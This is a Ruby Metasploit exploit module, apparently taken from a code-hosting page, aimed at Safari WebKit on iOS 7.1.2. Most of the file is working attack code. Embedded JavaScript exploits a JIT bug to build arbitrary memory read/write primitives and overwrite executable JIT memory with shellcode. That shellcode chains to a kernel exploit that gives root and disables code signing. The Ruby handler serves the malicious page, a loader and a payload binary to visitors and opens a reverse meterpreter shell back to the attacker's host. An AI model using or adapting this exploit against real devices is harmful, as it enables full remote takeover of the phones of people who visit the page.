567 lines
21 KiB
Ruby
567 lines
21 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Post::File
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Safari Webkit JIT Exploit for iOS 7.1.2',
|
|
'Description' => %q{
|
|
This module exploits a JIT optimization bug in Safari Webkit. This allows us to
|
|
write shellcode to an RWX memory section in JavaScriptCore and execute it. The
|
|
shellcode contains a kernel exploit (CVE-2016-4669) that obtains kernel rw,
|
|
obtains root and disables code signing. Finally we download and execute the
|
|
meterpreter payload.
|
|
This module has been tested against iOS 7.1.2 on an iPhone 4.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'kudima', # ishell
|
|
'Ian Beer', # CVE-2016-4669
|
|
'WanderingGlitch', # CVE-2018-4162
|
|
'timwr', # metasploit integration
|
|
],
|
|
'References' => [
|
|
['CVE', '2016-4669'],
|
|
['CVE', '2018-4162'],
|
|
['URL', 'https://github.com/kudima/exploit_playground/tree/master/iPhone3_1_shell'],
|
|
['URL', 'https://www.thezdi.com/blog/2018/4/12/inverting-your-assumptions-a-guide-to-jit-comparisons'],
|
|
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=882'],
|
|
],
|
|
'Arch' => ARCH_ARMLE,
|
|
'Platform' => 'apple_ios',
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/armle/meterpreter_reverse_tcp' },
|
|
'Targets' => [[ 'Automatic', {} ]],
|
|
'DisclosureDate' => '2016-08-25',
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SERVICE_DOWN ],
|
|
'SideEffects' => [ ],
|
|
'Reliability' => [ UNRELIABLE_SESSION ]
|
|
}
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 8080 ]),
|
|
OptString.new('URIPATH', [ true, 'The URI to use for this exploit.', '/' ])
|
|
]
|
|
)
|
|
register_advanced_options([
|
|
OptBool.new('DEBUG_EXPLOIT', [false, 'Show debug information during exploitation', false]),
|
|
])
|
|
end
|
|
|
|
def exploit_js
|
|
<<~JS
|
|
//
|
|
// Initial notes.
|
|
//
|
|
// If we look at publicly available exploits for this kind of
|
|
// issues [2], [3] on 64-bit systems, they rely on that JavaScriptCore
|
|
// differently interprets the content of arrays based on
|
|
// their type, besides object pointers and 64-bit doubles may have
|
|
// the same representation.
|
|
//
|
|
// This is not the case for 32-bit version of JavaScriptCore.
|
|
// The details are in runtime/JSCJSValue.h. All JSValues are still
|
|
// 64-bit, but for the cells representing objects
|
|
// the high 32-bit are always 0xfffffffb (since we only need 32-bit
|
|
// to represent a pointer), meaning cell is always a NaN in IEEE754
|
|
// representation used for doubles and it is not possible to confuse
|
|
// an cell and a IEEE754 encoded double value.
|
|
//
|
|
// Another difference is how the cells are represented
|
|
// in the version of JavaScriptCore by iOS 7.1.2.
|
|
// The type of the cell object is determined by m_structure member
|
|
// at offset 0 which is a pointer to Structure object.
|
|
// On 64-bit systems, at the time [2], [3]
|
|
// were published, a 32-bit integer value was used as a structure id.
|
|
// And it was possible to deterministically predict that id for
|
|
// specific object layout.
|
|
//
|
|
// The exploit outline.
|
|
//
|
|
// Let's give a high level description of the steps taken by the
|
|
// exploit to get to arbitrary code execution.
|
|
//
|
|
// 1. We use side effect bug to overwrite butterfly header by confusing
|
|
// Double array with ArrayStorage and obtain out of bound (oob) read/write
|
|
// into array butterflies allocation area.
|
|
//
|
|
// 2. Use oob read/write to build addrOf/materialize object primitives,
|
|
// by overlapping ArrayStorage length with object pointer part of a cell
|
|
// stored in Contiguous array.
|
|
//
|
|
// 3. Craft a fake Number object in order to leak real object structure
|
|
// pointer via a runtime function.
|
|
//
|
|
// 4. Use leaked structure pointer to build a fake fake object allowing
|
|
// as read/write access to a Uint32Array object to obtain arbitrary read/write.
|
|
//
|
|
// 5. We overwrite rwx memory used for jit code and redirect execution
|
|
// to that memory using our arbitrary read/write.
|
|
|
|
function main(loader, macho) {
|
|
|
|
// auxillary arrays to facilitate
|
|
// 64-bit floats to pointers conversion
|
|
var ab = new ArrayBuffer(8)
|
|
var u32 = new Uint32Array(ab);
|
|
var f64 = new Float64Array(ab);
|
|
|
|
function toF64(hi, lo) {
|
|
u32[0] = hi;
|
|
u32[1] = lo;
|
|
return f64[0];
|
|
}
|
|
|
|
function toHILO(f) {
|
|
f64[0] = f;
|
|
return [u32[0], u32[1]]
|
|
}
|
|
|
|
function printF64(f) {
|
|
var u32 = toHILO(f);
|
|
return (u32[0].toString(16) + " " + u32[1].toString(16));
|
|
}
|
|
|
|
// arr is an object with a butterfly
|
|
//
|
|
// cmp is an object we compare with
|
|
//
|
|
// v is a value assigned to an indexed property,
|
|
// gives as ability to change the butterfly
|
|
function oob_write(arr, cmp, v, i) {
|
|
arr[0] = 1.1;
|
|
// place a comparison with an object,
|
|
// incorrectly modeled as side effects free
|
|
cmp == 1;
|
|
// if i less then the butterfly length,
|
|
// it simply writes the value, otherwise
|
|
// bails to baseline jit, which is going to
|
|
// handle the write via a slow path.
|
|
arr[i] = v;
|
|
return arr[0];
|
|
}
|
|
|
|
function make_oob_array() {
|
|
|
|
var oob_array;
|
|
|
|
// allocate an object
|
|
var arr = {};
|
|
arr.p = 1.1;
|
|
// allocate butterfly of size 0x38,
|
|
// 8 bytes header and 6 elements. To get the size
|
|
// we create an array and inspect its memory
|
|
// in jsc command line interpreter.
|
|
arr[0] = 1.1;
|
|
|
|
// toString is triggered during comparison,
|
|
var x = {toString: function () {
|
|
// convert the butterfly into an
|
|
// array storage with two values,
|
|
// initial 1.1 64-bit at 0 is going to be placed
|
|
// to m_vector and value at 1000 is placed into
|
|
// the m_sparceMap
|
|
arr[1000] = 2.2;
|
|
// allocate a new butterfly right after
|
|
// our ArrayStorage. The butterflies are
|
|
// allocated continuously regardless
|
|
// of the size. For the array we
|
|
// get 0x28 bytes, header and 4 elements.
|
|
oob_array = [1.1];
|
|
return '1';
|
|
}
|
|
};
|
|
|
|
// ArrayStorage buttefly--+
|
|
// |
|
|
// V
|
|
//-8 -4 0 4
|
|
// | pub length | length | m_sparceMap | m_indexBias |
|
|
//
|
|
// 8 0xc 0x10
|
|
// | m_numValuesInVector | m_padding | m_vector[0]
|
|
//
|
|
//0x18 0x20 0x28
|
|
// | m_vector[1] | m_vector[2] | m_vector[3] |
|
|
//
|
|
// oob_array butterfly
|
|
// |
|
|
// V
|
|
//0x30 0x34 0x38 0x40 0x48 0x50
|
|
// | pub length | length | el0 | el1 | el2 |
|
|
//
|
|
|
|
// We enter the function with arr butterfly
|
|
// backed up by a regular butterfly, during the side effect
|
|
// in toString method we turn it into an ArrayStorage,
|
|
// and allocate a butterfly right after it. So we
|
|
// hopefully get memory layout as on the diagram above.
|
|
//
|
|
// The compiled code for oob_write, being not aware of the
|
|
// shape change, is going to compare 6 to the ArrayStorage
|
|
// length (which we set to 1000 in toString) and proceed
|
|
// to to write at index 6 relative to ArrayStorage butterfly,
|
|
// overwriting the oob_array butterfly header with 64-bit float
|
|
// encoded as 0x0000100000001000. Which gives as ability to write
|
|
// out of bounds of oob_array up to 0x1000 bytes, hence
|
|
// the name oob_array.
|
|
|
|
var o = oob_write(arr, x, toF64(0x1000, 0x1000), 6);
|
|
|
|
return oob_array;
|
|
}
|
|
|
|
// returns address of an object
|
|
function addrOf(o) {
|
|
// overwrite ArrayStorage public length
|
|
// with the object pointer
|
|
oob_array[4] = o;
|
|
// retrieve the address as ArrayStorage
|
|
// butterfly public length
|
|
var r = oobStorage.length;
|
|
return r;
|
|
}
|
|
|
|
function materialize(addr) {
|
|
// replace ArrayStorage public length
|
|
oobStorage.length = addr;
|
|
// retrieve the placed address
|
|
// as an object
|
|
return oob_array[4];
|
|
}
|
|
|
|
function read32(addr) {
|
|
var lohi = toHILO(rw0Master.rw0_f2);
|
|
// replace m_buffer with our address
|
|
rw0Master.rw0_f2 = toF64(lohi[0], addr);
|
|
var ret = u32rw[0];
|
|
// restore
|
|
rw0Master.rw0_f2 = toF64(lohi[0], lohi[1]);
|
|
return ret;
|
|
}
|
|
|
|
function write32(addr, v) {
|
|
var lohi = toHILO(rw0Master.rw0_f2);
|
|
rw0Master.rw0_f2 = toF64(lohi[0], addr);
|
|
// for some reason if we don't do this
|
|
// and the value is negative as a signed int ( > 0x80000000)
|
|
// it takes base from a different place
|
|
u32rw[0] = v & 0xffffffff;
|
|
rw0Master.rw0_f2 = toF64(lohi[0], lohi[1]);
|
|
}
|
|
|
|
function testRW32() {
|
|
var o = [1.1];
|
|
|
|
print("--------------- testrw32 -------------");
|
|
print("len: " + o.length);
|
|
|
|
var bfly = read32(addrOf(o)+4);
|
|
print("bfly: " + bfly.toString(16));
|
|
|
|
var len = read32(bfly-8);
|
|
print("bfly len: " + len.toString(16));
|
|
write32(bfly - 8, 0x10);
|
|
var ret = o.length == 0x10;
|
|
print("len: " + o.length);
|
|
write32(bfly - 8, 1);
|
|
print("--------------- testrw32 -------------");
|
|
return ret;
|
|
}
|
|
|
|
// dump @len dword
|
|
function dumpAddr(addr, len) {
|
|
var output = 'addr: ' + addr.toString(16) + "\\n";
|
|
for (var i=0; i<len; i++) {
|
|
output += read32(addr + i*4).toString(16) + " ";
|
|
if ((i+1) % 2 == 0) {
|
|
output += "\\n";
|
|
}
|
|
}
|
|
return output;
|
|
}
|
|
|
|
// prepare the function we are going to
|
|
// use to run our macho loader
|
|
exec_code = "var o = {};";
|
|
for (var i=0; i<200; i++) {
|
|
exec_code += "o.p = 1.1;";
|
|
}
|
|
exec_code += "if (v) alert('exec');";
|
|
|
|
var exec = new Function('v', exec_code);
|
|
|
|
// force JavaScriptCore to generate jit code
|
|
// for the function
|
|
for (var i=0; i<1000; i++)
|
|
exec();
|
|
|
|
// create an object with a Double array butterfly
|
|
var arr = {};
|
|
arr.p = 1.1;
|
|
arr[0] = 1.1;
|
|
|
|
// force DFG optimization for oob_write function,
|
|
// with a write beyond the allocated storage
|
|
for (var i=0; i<10000; i++) {
|
|
oob_write(arr, {}, 1.1, 1);
|
|
}
|
|
|
|
// prepare a double array which we are going to turn
|
|
// into an ArrayStorage later on.
|
|
var oobStorage = [];
|
|
oobStorage[0] = 1.1;
|
|
|
|
// create an array with oob read/write
|
|
// relative to its butterfly
|
|
var oob_array = make_oob_array();
|
|
// Allocate an ArrayStorage after oob_array butterfly.
|
|
oobStorage[1000] = 2.2;
|
|
|
|
// convert into Contiguous storage, so we can materialize
|
|
// objects
|
|
oob_array[4] = {};
|
|
|
|
// allocate two objects with seven inline properties one after another,
|
|
// for fake object crafting
|
|
var oo = [];
|
|
for (var i=0; i<0x10; i++) {
|
|
o = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:toF64(0x4141, i )};
|
|
oo.push(o);
|
|
}
|
|
|
|
// for some reason if we just do
|
|
//var structLeaker = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:1.1};
|
|
//var fakeObjStore = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:1.1};
|
|
// the objects just get some random addressed far apart, and we need
|
|
// them allocated one after another.
|
|
|
|
var fakeObjStore = oo.pop();
|
|
// we are going to leak Structure pointer for this object
|
|
var structLeaker = oo.pop();
|
|
|
|
// eventually we want to use it for read/write into typed array,
|
|
// and typed array is 0x18 bytes from our experiments.
|
|
// To cover all 0x18 bytes, we add four out of line properties
|
|
// to the structure we want to leak.
|
|
structLeaker.rw0_f1 = 1.1;
|
|
structLeaker.rw0_f2 = 1.1;
|
|
structLeaker.rw0_f3 = 1.1;
|
|
structLeaker.rw0_f4 = 1.1;
|
|
|
|
print("fakeObjStoreAddr: " + addrOf(fakeObjStore).toString(16));
|
|
print("structLeaker: " + addrOf(structLeaker).toString(16));
|
|
|
|
var fakeObjStoreAddr = addrOf(fakeObjStore)
|
|
// m_typeInfo offset within a Structure class is 0x34
|
|
// m_typeInfo = {m_type = 0x15, m_flags = 0x80, m_flags2 = 0x0}
|
|
// for Number
|
|
|
|
// we want to achieve the following layout for fakeObjStore
|
|
//
|
|
// 0 8 0x10 0x18 0x20 0x28 0x30
|
|
// | 1.1 | 1.1 | 1.1 | 1.1 | 1.1 | 1.1 |
|
|
//
|
|
// 0x30 0x34 0x38 0x40
|
|
// | fakeObjStoreAddr | 0x00008015 | 1.1 |
|
|
//
|
|
// we materialize fakeObjStoreAddr + 0x30 as an object,
|
|
// As we can see the Structure pointer points back to fakeObjStore,
|
|
// which is acting as a structure for our object. In that fake
|
|
// structure object we craft m_typeInfo as if it was a Number object.
|
|
// At offset +0x34 the Structure objects have m_typeInfo member indicating
|
|
// the object type.
|
|
// For number it is m_typeInfo = {m_type = 0x15, m_flags = 0x80, m_flags2 = 0x0}
|
|
// So we place that value at offset 0x34 relative to the fakeObjStore start.
|
|
fakeObjStore.p6 = toF64(fakeObjStoreAddr, 0x008015);
|
|
var fakeNumber = materialize(fakeObjStoreAddr + 0x30);
|
|
|
|
// We call a runtime function valueOf on Number, which only verifies
|
|
// that m_typeInfo field describes a Number object. Then it reads
|
|
// and returns 64-bit float value at object address + 0x10.
|
|
//
|
|
// In our seven properties object, it's
|
|
// going to be a 64-bit word located right after last property. Since
|
|
// we have arranged another seven properties object to be placed right
|
|
// after fakeObjStore, we are going to get first 8 bytes of
|
|
// that cell object which has the following layout.
|
|
// 0 4 8
|
|
// | m_structure | m_butterfly |
|
|
var val = Number.prototype.valueOf.call(fakeNumber);
|
|
|
|
// get lower 32-bit of a 64-bit float, which is a structure pointer.
|
|
var _7pStructAddr = toHILO(val)[1];
|
|
print("struct addr: " + _7pStructAddr.toString(16));
|
|
|
|
// now we are going to use the structure to craft an object
|
|
// with properties allowing as read/write access to Uint32Array.
|
|
|
|
var aabb = new ArrayBuffer(0x20);
|
|
|
|
// Uint32Array is 0x18 bytes,
|
|
// + 0xc m_impl
|
|
// + 0x10 m_storageLength
|
|
// + 0x14 m_storage
|
|
var u32rw = new Uint32Array(aabb, 4);
|
|
|
|
// Create a fake object with the structure we leaked before.
|
|
// So we can r/w to Uint32Array via out of line properties.
|
|
// The ool properties are placed before the butterfly header,
|
|
// so we point our fake object butterfly to Uint32Array + 0x28,
|
|
// to cover first 0x20 bytes via four out of line properties we added earlier
|
|
var objRW0Store = {p1:toF64(_7pStructAddr, addrOf(u32rw) + 0x28), p2:1.1};
|
|
|
|
// materialize whatever we put in the first inline property as an object
|
|
var rw0Master = materialize(addrOf(objRW0Store) + 8);
|
|
|
|
// magic
|
|
var o = {p1: 1.1, p2: 1.1, p3: 1.1, p4: 1.1};
|
|
for (var i=0; i<8; i++) {
|
|
read32(addrOf(o));
|
|
write32(addrOf(o)+8, 0);
|
|
}
|
|
|
|
//testRW32();
|
|
// JSFunction->m_executable
|
|
var m_executable = read32(addrOf(exec)+0xc);
|
|
|
|
// m_executable->m_jitCodeForCall
|
|
var jitCodeForCall = read32(m_executable + 0x14) - 1;
|
|
print("jit code pointer: " + jitCodeForCall.toString(16));
|
|
|
|
// Get JSCell::destroy pointer, and pass it
|
|
// to the code we are going to execute as an argument
|
|
var n = new Number(1.1);
|
|
var struct = read32(addrOf(n));
|
|
// read methodTable
|
|
var classInfo = read32(struct + 0x20);
|
|
// read JSCell::destroy
|
|
var JSCell_destroy = read32(classInfo + 0x10);
|
|
|
|
print("JSCell_destroy: " + JSCell_destroy.toString(16));
|
|
|
|
// overwrite jit code of exec function
|
|
for (var i=0; i<loader.length; i++) {
|
|
var x = loader[i];
|
|
write32(jitCodeForCall+i*4, x);
|
|
}
|
|
|
|
// pass JSCell::destroy pointer and
|
|
// the macho file as arguments to our
|
|
// macho file loader, so it can get dylib cache slide
|
|
var nextBuf = read32(addrOf(macho) + 0x14);
|
|
// we pass parameters to the loader as a list of 32-bit words
|
|
// places right before the start
|
|
write32(jitCodeForCall-4, JSCell_destroy);
|
|
write32(jitCodeForCall-8, nextBuf);
|
|
print("nextBuf: " + nextBuf.toString(16));
|
|
// start our macho loader
|
|
print("executing macho...");
|
|
exec(true);
|
|
print("exec returned");
|
|
return;
|
|
}
|
|
|
|
try {
|
|
function asciiToUint8Array(str) {
|
|
|
|
var len = Math.floor((str.length + 4)/4) * 4;
|
|
var bytes = new Uint8Array(len);
|
|
|
|
for (var i=0; i<str.length; i++) {
|
|
var code = str.charCodeAt(i);
|
|
bytes[i] = code & 0xff;
|
|
}
|
|
|
|
return bytes;
|
|
}
|
|
|
|
// loads base64 encoded payload from the server and converts
|
|
// it into a Uint32Array
|
|
function loadAsUint32Array(path) {
|
|
var xhttp = new XMLHttpRequest();
|
|
xhttp.open("GET", path+"?cache=" + new Date().getTime(), false);
|
|
xhttp.send();
|
|
var payload = atob(xhttp.response);
|
|
payload = asciiToUint8Array(payload);
|
|
return new Uint32Array(payload.buffer);
|
|
}
|
|
|
|
var loader = loadAsUint32Array("loader.b64");
|
|
var macho = loadAsUint32Array("macho.b64");
|
|
setTimeout(function() {main(loader, macho);}, 50);
|
|
} catch (e) {
|
|
print(e + "\\n" + e.stack);
|
|
}
|
|
JS
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
|
|
print_status("[*] #{request.body}")
|
|
send_response(cli, '')
|
|
return
|
|
end
|
|
|
|
print_status("Request #{request.uri} from #{request['User-Agent']}")
|
|
if request.uri.starts_with? '/loader.b64'
|
|
loader_data = exploit_data('CVE-2016-4669', 'loader')
|
|
loader_data = Rex::Text.encode_base64(loader_data)
|
|
send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' })
|
|
return
|
|
elsif request.uri.starts_with? '/macho.b64'
|
|
loader_data = exploit_data('CVE-2016-4669', 'macho')
|
|
payload_url = "http://#{Rex::Socket.source_address('1.2.3.4')}:#{srvport}/payload"
|
|
payload_url_index = loader_data.index('PAYLOAD_URL_PLACEHOLDER')
|
|
loader_data[payload_url_index, payload_url.length] = payload_url
|
|
loader_data = Rex::Text.encode_base64(loader_data)
|
|
send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' })
|
|
return
|
|
elsif request.uri.starts_with? '/payload'
|
|
print_good('Target is vulnerable, sending payload!')
|
|
send_response(cli, payload.raw, { 'Content-Type' => 'application/octet-stream' })
|
|
return
|
|
end
|
|
|
|
jscript = exploit_js
|
|
if datastore['DEBUG_EXPLOIT']
|
|
debugjs = %^
|
|
print = function(arg) {
|
|
var request = new XMLHttpRequest();
|
|
request.open("POST", "/print", false);
|
|
request.send("" + arg);
|
|
};
|
|
^
|
|
jscript = "#{debugjs}#{jscript}"
|
|
else
|
|
jscript.gsub!(%r{//.*$}, '') # strip comments
|
|
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
|
|
end
|
|
|
|
html = <<~HTML
|
|
<html>
|
|
<body>
|
|
<script>
|
|
#{jscript}
|
|
</script>
|
|
</body>
|
|
</html>
|
|
HTML
|
|
|
|
send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })
|
|
end
|
|
|
|
end
|